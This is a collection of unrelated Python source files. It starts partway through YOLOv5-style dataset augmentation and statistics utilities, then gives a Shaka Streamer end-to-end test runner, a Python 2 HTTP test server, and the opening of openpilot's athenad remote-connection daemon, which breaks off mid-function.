image + 8 random images into a 9-image mosaic labels9, segments9 = [], [] s = self.img_size indices = [index] + random.choices(self.indices, k=8) # 8 additional image indices random.shuffle(indices) for i, index in enumerate(indices): # Load image img, _, (h, w) = load_image(self, index) # place img in img9 if i == 0: # center img9 = np.full((s * 3, s * 3, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles h0, w0 = h, w c = s, s, s + w, s + h # xmin, ymin, xmax, ymax (base) coordinates elif i == 1: # top c = s, s - h, s + w, s elif i == 2: # top right c = s + wp, s - h, s + wp + w, s elif i == 3: # right c = s + w0, s, s + w0 + w, s + h elif i == 4: # bottom right c = s + w0, s + hp, s + w0 + w, s + hp + h elif i == 5: # bottom c = s + w0 - w, s + h0, s + w0, s + h0 + h elif i == 6: # bottom left c = s + w0 - wp - w, s + h0, s + w0 - wp, s + h0 + h elif i == 7: # left c = s - w, s + h0 - h, s, s + h0 elif i == 8: # top left c = s - w, s + h0 - hp - h, s, s + h0 - hp padx, pady = c[:2] x1, y1, x2, y2 = (max(x, 0) for x in c) # allocate coords # Labels labels, segments = self.labels[index].copy(), self.segments[index].copy() if labels.size: labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padx, pady) # normalized xywh to pixel xyxy format segments = [xyn2xy(x, w, h, padx, pady) for x in segments] labels9.append(labels) segments9.extend(segments) # Image img9[y1:y2, x1:x2] = img[y1 - pady:, x1 - padx:] # img9[ymin:ymax, xmin:xmax] hp, wp = h, w # height, width previous # Offset yc, xc = (int(random.uniform(0, s)) for _ in self.mosaic_border) # mosaic center x, y img9 = img9[yc:yc + 2 * s, xc:xc + 2 * s] # Concat/clip labels labels9 = np.concatenate(labels9, 0) labels9[:, [1, 3]] -= xc labels9[:, [2, 4]] -= yc c = np.array([xc, yc]) # centers segments9 = [x - c for x in segments9] for x in (labels9[:, 1:], *segments9): np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective() # img9, labels9 = replicate(img9, labels9) # replicate # Augment img9, labels9 = random_perspective(img9, labels9, segments9, degrees=self.hyp['degrees'], translate=self.hyp['translate'], scale=self.hyp['scale'], shear=self.hyp['shear'], perspective=self.hyp['perspective'], border=self.mosaic_border) # border to remove return img9, labels9 def create_folder(path='./new'): # Create folder if os.path.exists(path): shutil.rmtree(path) # delete output folder os.makedirs(path) # make new output folder def flatten_recursive(path='../datasets/coco128'): # Flatten a recursive directory by bringing all files to top level new_path = Path(path + '_flat') create_folder(new_path) for file in tqdm(glob.glob(str(Path(path)) + '/**/*.*', recursive=True)): shutil.copyfile(file, new_path / Path(file).name) def extract_boxes(path='../datasets/coco128'): # from utils.datasets import *; extract_boxes() # Convert detection dataset into classification dataset, with one directory per class path = Path(path) # images dir shutil.rmtree(path / 'classifier') if (path / 'classifier').is_dir() else None # remove existing files = list(path.rglob('*.*')) n = len(files) # number of files for im_file in tqdm(files, total=n): if im_file.suffix[1:] in IMG_FORMATS: # image im = cv2.imread(str(im_file))[..., ::-1] # BGR to RGB h, w = im.shape[:2] # labels lb_file = Path(img2label_paths([str(im_file)])[0]) if Path(lb_file).exists(): with open(lb_file) as f: lb = np.array([x.split() for x in f.read().strip().splitlines()], dtype=np.float32) # labels for j, x in enumerate(lb): c = int(x[0]) # class f = (path / 'classifier') / f'{c}' / f'{path.stem}_{im_file.stem}_{j}.jpg' # new filename if not f.parent.is_dir(): f.parent.mkdir(parents=True) b = x[1:] * [w, h, w, h] # box # b[2:] = b[2:].max() # rectangle to square b[2:] = b[2:] * 1.2 + 3 # pad b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int) b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image b[[1, 3]] = np.clip(b[[1, 3]], 0, h) assert cv2.imwrite(str(f), im[b[1]:b[3], b[0]:b[2]]), f'box failure in {f}' def autosplit(path='../datasets/coco128/images', weights=(0.9, 0.1, 0.0), annotated_only=False): """ Autosplit a dataset into train/val/test splits and save path/autosplit_*.txt files Usage: from utils.datasets import *; autosplit() Arguments path: Path to images directory weights: Train, val, test weights (list, tuple) annotated_only: Only use images with an annotated txt file """ path = Path(path) # images dir files = sorted(x for x in path.rglob('*.*') if x.suffix[1:].lower() in IMG_FORMATS) # image files only n = len(files) # number of files random.seed(0) # for reproducibility indices = random.choices([0, 1, 2], weights=weights, k=n) # assign each image to a split txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt'] # 3 txt files [(path.parent / x).unlink(missing_ok=True) for x in txt] # remove existing for i, img in tqdm(zip(indices, files), total=n): if not annotated_only or Path(img2label_paths([str(img)])[0]).exists(): # check label with open(path.parent / txt[i], 'a') as f: f.write('./' + img.relative_to(path.parent).as_posix() + '\n') # add image to txt file def verify_image_label(args): # Verify one image-label pair im_file, lb_file, prefix = args nm, nf, ne, nc, msg, segments = 0, 0, 0, 0, '', [] # number (missing, found, empty, corrupt), message, segments try: # verify images im = Image.open(im_file) im.verify() # PIL verify shape = exif_size(im) # image size assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels' assert im.format.lower() in IMG_FORMATS, f'invalid image format {im.format}' if im.format.lower() in ('jpg', 'jpeg'): with open(im_file, 'rb') as f: f.seek(-2, 2) if f.read() != b'\xff\xd9': # corrupt JPEG ImageOps.exif_transpose(Image.open(im_file)).save(im_file, 'JPEG', subsampling=0, quality=100) msg = f'{prefix}WARNING: {im_file}: corrupt JPEG restored and saved' # verify labels if os.path.isfile(lb_file): nf = 1 # label found with open(lb_file) as f: l = [x.split() for x in f.read().strip().splitlines() if len(x)] if any([len(x) > 8 for x in l]): # is segment classes = np.array([x[0] for x in l], dtype=np.float32) segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l] # (cls, xy1...) l = np.concatenate((classes.reshape(-1, 1), segments2boxes(segments)), 1) # (cls, xywh) l = np.array(l, dtype=np.float32) nl = len(l) if nl: assert l.shape[1] == 5, f'labels require 5 columns, {l.shape[1]} columns detected' assert (l >= 0).all(), f'negative label values {l[l < 0]}' assert (l[:, 1:] <= 1).all(), f'non-normalized or out of bounds coordinates {l[:, 1:][l[:, 1:] > 1]}' l = np.unique(l, axis=0) # remove duplicate rows if len(l) < nl: segments = np.unique(segments, axis=0) msg = f'{prefix}WARNING: {im_file}: {nl - len(l)} duplicate labels removed' else: ne = 1 # label empty l = np.zeros((0, 5), dtype=np.float32) else: nm = 1 # label missing l = np.zeros((0, 5), dtype=np.float32) return im_file, l, shape, segments, nm, nf, ne, nc, msg except Exception as e: nc = 1 msg = f'{prefix}WARNING: {im_file}: ignoring corrupt image/label: {e}' return [None, None, None, None, nm, nf, ne, nc, msg] def dataset_stats(path='coco128.yaml', autodownload=False, verbose=False, profile=False, hub=False): """ Return dataset statistics dictionary with images and instances counts per split per class To run in parent directory: export PYTHONPATH="$PWD/yolov5" Usage1: from utils.datasets import *; dataset_stats('coco128.yaml', autodownload=True) Usage2: from utils.datasets import *; dataset_stats('../datasets/coco128_with_yaml.zip') Arguments path: Path to data.yaml or data.zip (with data.yaml inside data.zip) autodownload: Attempt to download dataset if not found locally verbose: Print stats dictionary """ def round_labels(labels): # Update labels to integer class and 6 decimal place floats return [[int(c), *(round(x, 4) for x in points)] for c, *points in labels] def unzip(path): # Unzip data.zip TODO: CONSTRAINT: path/to/abc.zip MUST unzip to 'path/to/abc/' if str(path).endswith('.zip'): # path is data.zip assert Path(path).is_file(), f'Error unzipping {path}, file not found' ZipFile(path).extractall(path=path.parent) # unzip dir = path.with_suffix('') # dataset directory == zip name return True, str(dir), next(dir.rglob('*.yaml')) # zipped, data_dir, yaml_path else: # path is data.yaml return False, None, path def hub_ops(f, max_dim=1920): # HUB ops for 1 image 'f': resize and save at reduced quality in /dataset-hub for web/app viewing f_new = im_dir / Path(f).name # dataset-hub image filename try: # use PIL im = Image.open(f) r = max_dim / max(im.height, im.width) # ratio if r < 1.0: # image too large im = im.resize((int(im.width * r), int(im.height * r))) im.save(f_new, quality=75) # save except Exception as e: # use OpenCV im = cv2.imread(f) im_height, im_width = im.shape[:2] r = max_dim / max(im_height, im_width) # ratio if r < 1.0: # image too large im = cv2.resize(im, (int(im_width * r), int(im_height * r)), interpolation=cv2.INTER_LINEAR) cv2.imwrite(str(f_new), im) zipped, data_dir, yaml_path = unzip(Path(path)) with open(check_yaml(yaml_path), errors='ignore') as f: data = yaml.safe_load(f) # data dict if zipped: data['path'] = data_dir # TODO: should this be dir.resolve()? check_dataset(data, autodownload) # download dataset if missing hub_dir = Path(data['path'] + ('-hub' if hub else '')) stats = {'nc': data['nc'], 'names': data['names']} # statistics dictionary for split in 'train', 'val', 'test': if data.get(split) is None: stats[split] = None # i.e. no test set continue x = [] dataset = LoadImagesAndLabels(data[split]) # load dataset for label in tqdm(dataset.labels, total=dataset.n, desc='Statistics'): x.append(np.bincount(label[:, 0].astype(int), minlength=data['nc'])) x = np.array(x) # shape(128x80) stats[split] = {'instance_stats': {'total': int(x.sum()), 'per_class': x.sum(0).tolist()}, 'image_stats': {'total': dataset.n, 'unlabelled': int(np.all(x == 0, 1).sum()), 'per_class': (x > 0).sum(0).tolist()}, 'labels': [{str(Path(k).name): round_labels(v.tolist())} for k, v in zip(dataset.img_files, dataset.labels)]} if hub: im_dir = hub_dir / 'images' im_dir.mkdir(parents=True, exist_ok=True) for _ in tqdm(ThreadPool(NUM_THREADS).imap(hub_ops, dataset.img_files), total=dataset.n, desc='HUB Ops'): pass # Profile stats_path = hub_dir / 'stats.json' if profile: for _ in range(1): file = stats_path.with_suffix('.npy') t1 = time.time() np.save(file, stats) t2 = time.time() x = np.load(file, allow_pickle=True) file = stats_path.with_suffix('.json') t1 = time.time() with open(file, 'w') as f: json.dump(stats, f) # save stats *.json t2 = time.time() with open(file) as f: x = json.load(f) # load hyps dict # Save, print and return if hub: with open(stats_path, 'w') as f: json.dump(stats, f) # save stats.json return stats
run_end_to_end_tests.py
#!/usr/bin/env python3 # # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import argparse import flask import glob import json import logging import os import re import shutil import subprocess import sys import time import threading import traceback import urllib from mypy import api as mypy_api from streamer import node_base from streamer.controller_node import ControllerNode from streamer.configuration import ConfigError OUTPUT_DIR = 'output_files/' TEST_DIR = 'test_assets/' CLOUD_TEST_ASSETS = ( 'https://storage.googleapis.com/shaka-streamer-assets/test-assets/') # Turn down Flask's logging so that the console isn't flooded with messages # about every request. Because flask is built on top of another tool called # "werkzeug", this the name we use to retrieve the log instance. log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) # Changes relative path to where this file is. BASE_DIR = os.path.dirname(os.path.abspath(__file__)) os.chdir(BASE_DIR) controller = None # Flask was unable to autofind the root_path correctly after an os.chdir() from another directory # Dunno why,refer to https://stackoverflow.com/questions/35864584/error-no-such-file-or-directory-when-using-os-chdir-in-flask app = flask.Flask(__name__, root_path=BASE_DIR) # Stops browser from caching files to prevent cross-test contamination. app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0 def cleanup(): # If the controller is running, stop it. global controller if controller is not None: controller.stop() controller = None # If the output directory exists, delete it and make a new one. if os.path.exists(OUTPUT_DIR): shutil.rmtree(OUTPUT_DIR) os.mkdir(OUTPUT_DIR) def createCrossOriginResponse(body=None, status=200, mimetype='text/plain'): # Enable CORS because karma and flask are cross-origin. resp = flask.Response(response=body, status=status) resp.headers.add('Content-Type', mimetype) resp.headers.add('Access-Control-Allow-Origin', '*') resp.headers.add('Access-Control-Allow-Methods', 'GET,POST') return resp def dashStreamsReady(manifest_path): """Wait for DASH streams to be ready. Return True if the DASH manifest exists and each Representation has at least one segment in it. """ # Check to see if the DASH manifest exists yet. if not os.path.exists(manifest_path): return False # Waiting until every Representation has a segment. pattern = re.compile(r'<Representation.*?((\n).*?)*?Representation>') with open(manifest_path) as manifest_file: for representation in pattern.finditer(manifest_file.read()): if controller.is_low_latency_dash_mode(): # LL-DASH manifests do not contain the segment reference tag <S>. # Check for the availabilityTimeOffset attribute instead. if not re.search(r'availabilityTimeOffset', representation.group()): # This Representation does not have a availabilityTimeOffset yet, # meaning the first chunk is not yet ready for playout. return False else: if not re.search(r'<S t', representation.group()): # This Representation has no segments. return False return True def hlsStreamsReady(master_playlist_path): """Wait for HLS streams to be ready. Return True if the HLS master playlist exists, and all of the media playlists referenced by it exist, and each of those media playlists have at least one segment in it. """ # Check to see if the HLS master playlist exists yet. if not os.path.exists(master_playlist_path): return False # Parsing master playlist to see how many media playlists there are. # Do this every time, since the master playlist contents may change. with open(master_playlist_path) as hls_file: contents = hls_file.read() media_playlist_list = re.findall(r'^.*\.m3u8$', contents, re.MULTILINE) media_playlist_count = len(media_playlist_list) # See how many playlists exist so far. playlist_list = glob.glob(OUTPUT_DIR + '*.m3u8') # Return False if we don't have the right number. The +1 accounts for the # master playlist. if len(playlist_list) != media_playlist_count + 1: return False for playlist_path in playlist_list: # Use os.path.samefile method instead of the == operator because # this might be a windows machine. if os.path.samefile(playlist_path, master_playlist_path): # Skip the master playlist continue with open(playlist_path) as playlist_file: if '#EXTINF' not in playlist_file.read(): # This doesn't have segments yet. return False return True @app.route('/start', methods = ['POST']) def start(): global controller if controller is not None: return createCrossOriginResponse( status=403, body='Instance already running!') cleanup() # Receives configs from the tests to start Shaka Streamer. try: configs = json.loads(flask.request.data) except Exception as e: return createCrossOriginResponse(status=400, body=str(e)) # Enforce quiet mode without needing it specified in every test. configs['pipeline_config']['quiet'] = True controller = ControllerNode() try: controller.start(configs['output_location'], configs['input_config'], configs['pipeline_config'], configs['bitrate_config'], check_deps=False) except Exception as e: # If the controller throws an exception during startup, we want to call # stop() to shut down any external processes that have already been started. controller.stop() controller = None # Then, fail the request with a message that indicates what the error was. if isinstance(e, ConfigError): body = json.dumps({ 'error_type': type(e).__name__, 'class_name': e.class_name, 'field_name': e.field_name, 'field_type': e.field.get_type_name(), 'message': str(e), }) return createCrossOriginResponse( status=418, mimetype='application/json', body=body) elif isinstance(e, RuntimeError): body = json.dumps({ 'error_type': 'RuntimeError', 'message': str(e), }) return createCrossOriginResponse( status=418, mimetype='application/json', body=body) else: traceback.print_exc() return createCrossOriginResponse(status=500, body=str(e)) return createCrossOriginResponse() @app.route('/stop') def stop(): global controller resp = createCrossOriginResponse() if controller is not None: # Check status to see if one of the processes exited. if controller.check_status() == node_base.ProcessStatus.Errored: resp = createCrossOriginResponse( status=500, body='Some processes exited with non-zero exit codes') cleanup() return resp @app.route('/output_files/<path:filename>', methods = ['GET', 'OPTIONS']) def send_file(filename): if not controller: return createCrossOriginResponse( status=403, body='Instance already shut down!') elif controller.is_vod(): # If streaming mode is vod, needs to wait until packager is completely # done packaging contents. while True: status = controller.check_status() if status == node_base.ProcessStatus.Finished: break elif status != node_base.ProcessStatus.Running: return createCrossOriginResponse( status=500, body='Some processes exited with non-zero exit codes') time.sleep(1) else: # If streaming mode is live, needs to wait for specific content in # manifest until it can be loaded by the player. if filename.endswith('.mpd'): while not dashStreamsReady(OUTPUT_DIR + filename): time.sleep(1) elif filename.endswith('.m3u8') and not filename.startswith('stream_'): while not hlsStreamsReady(OUTPUT_DIR + filename): time.sleep(1) # Sending over requested files. try: response = flask.send_file(OUTPUT_DIR + filename) except FileNotFoundError: response = flask.Response(response='File not found', status=404) response.headers.add('Access-Control-Allow-Origin', '*') response.headers.add('Access-Control-Allow-Headers', 'RANGE') return response def fetch_cloud_assets(): file_list = [ 'BigBuckBunny.1080p.mp4', 'Sintel.2010.720p.Small.mkv', 'Sintel.2010.Arabic.vtt', 'Sintel.2010.Chinese.vtt', 'Sintel.2010.English.vtt', 'Sintel.2010.Esperanto.vtt', 'Sintel.2010.French.vtt', 'Sintel.2010.Spanish.vtt', 'Sintel.with.subs.mkv', ] # Downloading all the assests for tests. for file in file_list: if not os.path.exists(TEST_DIR + file): response = urllib.request.urlretrieve(CLOUD_TEST_ASSETS + file, TEST_DIR + file) def main(): parser = argparse.ArgumentParser() parser.add_argument('--runs', default=1, type=int, help='Number of trials to run') parser.add_argument('--reporters', nargs='+', help='Enables specified reporters in karma') args = parser.parse_args() # Do static type checking on the project first. type_check_result = mypy_api.run(['streamer/']) if type_check_result[2] != 0: print('The type checker found the following errors: ') print(type_check_result[0]) return 1 # Install test dependencies. install_deps_command = ['npm', 'install'] subprocess.check_call(install_deps_command) # Fetch streams used in tests. if not os.path.exists(TEST_DIR): os.mkdir(TEST_DIR) fetch_cloud_assets() # Start up flask server on a thread. # Daemon is set to True so that this thread automatically gets # killed when exiting main. Flask does not have any clean alternatives # to be killed. threading.Thread(target=app.run, daemon=True).start() fails = 0 trials = args.runs print('Running', trials, 'trials') for i in range(trials): # Start up karma. karma_args = [ 'node', 'node_modules/karma/bin/karma', 'start', 'tests/karma.conf.js', # DRM currently is not compatible with headless, so it's run in Chrome. # Linux: If you want to run tests as "headless", wrap it with "xvfb-run -a". '--browsers', 'Chrome', '--single-run', ] if args.reporters: converted_string = ','.join(args.reporters) karma_args += [ '--reporters', converted_string, ] # If the exit code was not 0, the tests in karma failed or crashed. if subprocess.call(karma_args) != 0: fails += 1 print('\n\nNumber of failures:', fails, '\nNumber of trials:', trials) print('\nSuccess rate:', 100 * (trials - fails) / trials, '%') cleanup() return fails if __name__ == '__main__': # Exit code based on test results from subprocess call. sys.exit(main())
server.py
import BaseHTTPServer import errno import os import re import socket from SocketServer import ThreadingMixIn import ssl import sys import threading import time import traceback import types import urlparse import routes as default_routes from logger import get_logger from request import Server, Request from response import Response from router import Router from utils import HTTPException """HTTP server designed for testing purposes. The server is designed to provide flexibility in the way that requests are handled, and to provide control both of exactly what bytes are put on the wire for the response, and in the timing of sending those bytes. The server is based on the stdlib HTTPServer, but with some notable differences in the way that requests are processed. Overall processing is handled by a WebTestRequestHandler, which is a subclass of BaseHTTPRequestHandler. This is responsible for parsing the incoming request. A RequestRewriter is then applied and may change the request data if it matches a supplied rule. Once the request data had been finalised, Request and Reponse objects are constructed. These are used by the other parts of the system to read information about the request and manipulate the response. Each request is handled by a particular handler function. The mapping between Request and the appropriate handler is determined by a Router. By default handlers are installed to interpret files under the document root with .py extensions as executable python files (see handlers.py for the api for such files), .asis files as bytestreams to be sent literally and all other files to be served statically. The handler functions are responsible for either populating the fields of the response object, which will then be written when the handler returns, or for directly writing to the output stream. """ class RequestRewriter(object): def __init__(self, rules): """Object for rewriting the request path. :param rules: Initial rules to add; a list of three item tuples (method, input_path, output_path), defined as for register() """ self.rules = {} for rule in reversed(rules): self.register(*rule) self.logger = get_logger() def register(self, methods, input_path, output_path): """Register a rewrite rule. :param methods: Set of methods this should match. "*" is a special value indicating that all methods should be matched. :param input_path: Path to match for the initial request. :param output_path: Path to replace the input path with in the request. """ if type(methods) in types.StringTypes: methods = [methods] self.rules[input_path] = (methods, output_path) def rewrite(self, request_handler): """Rewrite the path in a BaseHTTPRequestHandler instance, if it matches a rule. :param request_handler: BaseHTTPRequestHandler for which to rewrite the request. """ split_url = urlparse.urlsplit(request_handler.path) if split_url.path in self.rules: methods, destination = self.rules[split_url.path] if "*" in methods or request_handler.command in methods: self.logger.debug("Rewriting request path %s to %s" % (request_handler.path, destination)) new_url = list(split_url) new_url[2] = destination new_url = urlparse.urlunsplit(new_url) request_handler.path = new_url class WebTestServer(ThreadingMixIn, BaseHTTPServer.HTTPServer): allow_reuse_address = True acceptable_errors = (errno.EPIPE, errno.ECONNABORTED) request_queue_size = 2000 # Ensure that we don't hang on shutdown waiting for requests daemon_threads = True def __init__(self, server_address, RequestHandlerClass, router, rewriter, bind_hostname, config=None, use_ssl=False, key_file=None, certificate=None, encrypt_after_connect=False, latency=None, **kwargs): """Server for HTTP(s) Requests :param server_address: tuple of (server_name, port) :param RequestHandlerClass: BaseHTTPRequestHandler-like class to use for handling requests. :param router: Router instance to use for matching requests to handler functions :param rewriter: RequestRewriter-like instance to use for preprocessing requests before they are routed :param config: Dictionary holding environment configuration settings for handlers to read, or None to use the default values. :param use_ssl: Boolean indicating whether the server should use SSL :param key_file: Path to key file to use if SSL is enabled. :param certificate: Path to certificate to use if SSL is enabled. :param encrypt_after_connect: For each connection, don't start encryption until a CONNECT message has been received. This enables the server to act as a self-proxy. :param bind_hostname True to bind the server to both the hostname and port specified in the server_address parameter. False to bind the server only to the port in the server_address parameter, but not to the hostname. :param latency: Delay in ms to wait before seving each response, or callable that returns a delay in ms """ self.router = router self.rewriter = rewriter self.scheme = "https" if use_ssl else "http" self.logger = get_logger() self.latency = latency if bind_hostname: hostname_port = server_address else: hostname_port = ("",server_address[1]) #super doesn't work here because BaseHTTPServer.HTTPServer is old-style BaseHTTPServer.HTTPServer.__init__(self, hostname_port, RequestHandlerClass, **kwargs) if config is not None: Server.config = config else: self.logger.debug("Using default configuration") Server.config = {"host": server_address[0], "domains": {"": server_address[0]}, "ports": {"http": [self.server_address[1]]}} self.key_file = key_file self.certificate = certificate self.encrypt_after_connect = use_ssl and encrypt_after_connect if use_ssl and not encrypt_after_connect: self.socket = ssl.wrap_socket(self.socket, keyfile=self.key_file, certfile=self.certificate, server_side=True) def handle_error(self, request, client_address): error = sys.exc_value if ((isinstance(error, socket.error) and isinstance(error.args, tuple) and error.args[0] in self.acceptable_errors) or (isinstance(error, IOError) and error.errno in self.acceptable_errors)): pass # remote hang up before the result is sent else: self.logger.error(traceback.format_exc()) class WebTestRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): """RequestHandler for WebTestHttpd""" protocol_version = "HTTP/1.1" def handle_one_request(self): response = None self.logger = get_logger() try: self.close_connection = False request_line_is_valid = self.get_request_line() if self.close_connection: return request_is_valid = self.parse_request() if not request_is_valid: #parse_request() actually sends its own error responses return self.server.rewriter.rewrite(self) request = Request(self) response = Response(self, request) if request.method == "CONNECT": self.handle_connect(response) return if not request_line_is_valid: response.set_error(414) response.write() return self.logger.debug("%s %s" % (request.method, request.request_path)) handler = self.server.router.get_handler(request) # If the handler we used for the request had a non-default base path # set update the doc_root of the request to reflect this if hasattr(handler, "base_path") and handler.base_path: request.doc_root = handler.base_path if hasattr(handler, "url_base") and handler.url_base != "/": request.url_base = handler.url_base if self.server.latency is not None: if callable(self.server.latency): latency = self.server.latency() else: latency = self.server.latency self.logger.warning("Latency enabled. Sleeping %i ms" % latency) time.sleep(latency / 1000.) if handler is None: response.set_error(404) else: try: handler(request, response) except HTTPException as e: response.set_error(e.code, e.message) except Exception as e: if e.message: err = [e.message] else: err = [] err.append(traceback.format_exc()) response.set_error(500, "\n".join(err)) self.logger.debug("%i %s %s (%s) %i" % (response.status[0], request.method, request.request_path, request.headers.get('Referer'), request.raw_input.length)) if not response.writer.content_written: response.write() # If we want to remove this in the future, a solution is needed for # scripts that produce a non-string iterable of content, since these # can't set a Content-Length header. A notable example of this kind of # problem is with the trickle pipe i.e. foo.js?pipe=trickle(d1) if response.close_connection: self.close_connection = True if not self.close_connection: # Ensure that the whole request has been read from the socket request.raw_input.read() except socket.timeout, e: self.log_error("Request timed out: %r", e) self.close_connection = True return except Exception as e: err = traceback.format_exc() if response: response.set_error(500, err) response.write() self.logger.error(err) def get_request_line(self): try: self.raw_requestline = self.rfile.readline(65537) except socket.error: self.close_connection = True return False if len(self.raw_requestline) > 65536: self.requestline = '' self.request_version = '' self.command = '' return False if not self.raw_requestline: self.close_connection = True return True def handle_connect(self, response): self.logger.debug("Got CONNECT") response.status = 200 response.write() if self.server.encrypt_after_connect: self.logger.debug("Enabling SSL for connection") self.request = ssl.wrap_socket(self.connection, keyfile=self.server.key_file, certfile=self.server.certificate, server_side=True) self.setup() return class WebTestHttpd(object): """ :param host: Host from which to serve (default: 127.0.0.1) :param port: Port from which to serve (default: 8000) :param server_cls: Class to use for the server (default depends on ssl vs non-ssl) :param handler_cls: Class to use for the RequestHandler :param use_ssl: Use a SSL server if no explicit server_cls is supplied :param key_file: Path to key file to use if ssl is enabled :param certificate: Path to certificate file to use if ssl is enabled :param encrypt_after_connect: For each connection, don't start encryption until a CONNECT message has been received. This enables the server to act as a self-proxy. :param router_cls: Router class to use when matching URLs to handlers :param doc_root: Document root for serving files :param routes: List of routes with which to initialize the router :param rewriter_cls: Class to use for request rewriter :param rewrites: List of rewrites with which to initialize the rewriter_cls :param config: Dictionary holding environment configuration settings for handlers to read, or None to use the default values. :param bind_hostname: Boolean indicating whether to bind server to hostname. :param latency: Delay in ms to wait before seving each response, or callable that returns a delay in ms HTTP server designed for testing scenarios. Takes a router class which provides one method get_handler which takes a Request and returns a handler function. .. attribute:: host The host name or ip address of the server .. attribute:: port The port on which the server is running .. attribute:: router The Router object used to associate requests with resources for this server .. attribute:: rewriter The Rewriter object used for URL rewriting .. attribute:: use_ssl Boolean indicating whether the server is using ssl .. attribute:: started Boolean indictaing whether the server is running """ def __init__(self, host="127.0.0.1", port=8000, server_cls=None, handler_cls=WebTestRequestHandler, use_ssl=False, key_file=None, certificate=None, encrypt_after_connect=False, router_cls=Router, doc_root=os.curdir, routes=None, rewriter_cls=RequestRewriter, bind_hostname=True, rewrites=None, latency=None, config=None): if routes is None: routes = default_routes.routes self.host = host self.router = router_cls(doc_root, routes) self.rewriter = rewriter_cls(rewrites if rewrites is not None else []) self.use_ssl = use_ssl self.logger = get_logger() if server_cls is None: server_cls = WebTestServer if use_ssl: if key_file is not None: assert os.path.exists(key_file) assert certificate is not None and os.path.exists(certificate) try: self.httpd = server_cls((host, port), handler_cls, self.router, self.rewriter, config=config, bind_hostname=bind_hostname, use_ssl=use_ssl, key_file=key_file, certificate=certificate, encrypt_after_connect=encrypt_after_connect, latency=latency) self.started = False _host, self.port = self.httpd.socket.getsockname() except Exception: self.logger.error('Init failed! You may need to modify your hosts file. Refer to README.md.'); raise def start(self, block=False): """Start the server. :param block: True to run the server on the current thread, blocking, False to run on a separate thread.""" self.logger.info("Starting http server on %s:%s" % (self.host, self.port)) self.started = True if block: self.httpd.serve_forever() else: self.server_thread = threading.Thread(target=self.httpd.serve_forever) self.server_thread.setDaemon(True) # don't hang on exit self.server_thread.start() def stop(self): """ Stops the server. If the server is not running, this method has no effect. """ if self.started: try: self.httpd.shutdown() self.httpd.server_close() self.server_thread.join() self.server_thread = None self.logger.info("Stopped http server on %s:%s" % (self.host, self.port)) except AttributeError: pass self.started = False self.httpd = None def get_url(self, path="/", query=None, fragment=None): if not self.started: return None return urlparse.urlunsplit(("http" if not self.use_ssl else "https", "%s:%s" % (self.host, self.port), path, query, fragment))
athenad.py
#!/usr/bin/env python3 import base64 import hashlib import io import json import os import sys import queue import random import select import socket import threading import time from collections import namedtuple from functools import partial from typing import Any import requests from jsonrpc import JSONRPCResponseManager, dispatcher from websocket import ABNF, WebSocketTimeoutException, WebSocketException, create_connection from common.params import Params API_HOST = os.getenv('API_HOST', 'https://api.commadotai.com') if not Params().get_bool("dp_api_custom") else Params().get("dp_api_custom_url", encoding='utf-8') import cereal.messaging as messaging from cereal.services import service_list from common.api import Api from common.file_helpers import CallbackReader from common.basedir import PERSIST from common.params import Params from common.realtime import sec_since_boot from selfdrive.hardware import HARDWARE, PC, TICI from selfdrive.loggerd.config import ROOT from selfdrive.loggerd.xattr_cache import getxattr, setxattr from selfdrive.swaglog import cloudlog, SWAGLOG_DIR from selfdrive.version import version, get_version, get_git_remote, get_git_branch, get_git_commit ATHENA_HOST = os.getenv('ATHENA_HOST', 'wss://athena.comma.ai') HANDLER_THREADS = int(os.getenv('HANDLER_THREADS', "4")) LOCAL_PORT_WHITELIST = set([8022]) LOG_ATTR_NAME = 'user.upload' LOG_ATTR_VALUE_MAX_UNIX_TIME = int.to_bytes(2147483647, 4, sys.byteorder) RECONNECT_TIMEOUT_S = 70 RETRY_DELAY = 10 # seconds MAX_RETRY_COUNT = 30 # Try for at most 5 minutes if upload fails immediately WS_FRAME_SIZE = 4096 dispatcher["echo"] = lambda s: s recv_queue: Any = queue.Queue() send_queue: Any = queue.Queue() upload_queue: Any = queue.Queue() log_send_queue: Any = queue.Queue() log_recv_queue: Any = queue.Queue() cancelled_uploads: Any = set() UploadItem = namedtuple('UploadItem', ['path', 'url', 'headers', 'created_at', 'id', 'retry_count', 'current', 'progress'], defaults=(0, False, 0)) cur_upload_items = {} def handle_long_poll(ws): end_event = threading.Event() threads = [ threading.Thread(target=ws_recv, args=(ws, end_event), name='ws_recv'), threading.Thread(target=ws_send, args=(ws, end_event), name='ws_send'), threading.Thread(target=upload_handler, args=(end_event,), name='upload_handler'), threading.Thread(target=log_handler, args=(end_event,), name='log_handler'), ] + [ threading.Thread(target=jsonrpc_handler, args=(end_event,), name=f'worker_{x}') for x in range(HANDLER_THREADS) ] for thread in threads: thread.start() try: while not end_event.is_set(): time.sleep(0.1) except (KeyboardInterrupt, SystemExit): end_event.set() raise finally: for thread in threads: cloudlog.debug(f"athena.joining {thread.name}") thread.join() def jsonrpc_handler(end_event): dispatcher["startLocalProxy"] = partial(startLocalProxy, end_event) while not end_event.is_set(): try: data = recv_queue.get(timeout=1) if "method" in data: cloudlog.debug(f"athena.jsonrpc_handler.call_method {data}") response = JSONRPCResponseManager.handle(data, dispatcher) send_queue.put_nowait(response.json) elif "id" in data and ("result" in data or "error" in data): log_recv_queue.put_nowait(data) else: raise Exception("not a valid request or response") except queue.Empty: pass except Exception as e: cloudlog.exception("athena jsonrpc handler failed") send_queue.put_nowait(json.dumps({"error": str(e)})) def upload_handler(end_event): tid = threading.get_ident() while not end_event.is_set(): cur_upload_items[tid] = None try: cur_upload_items[tid] = 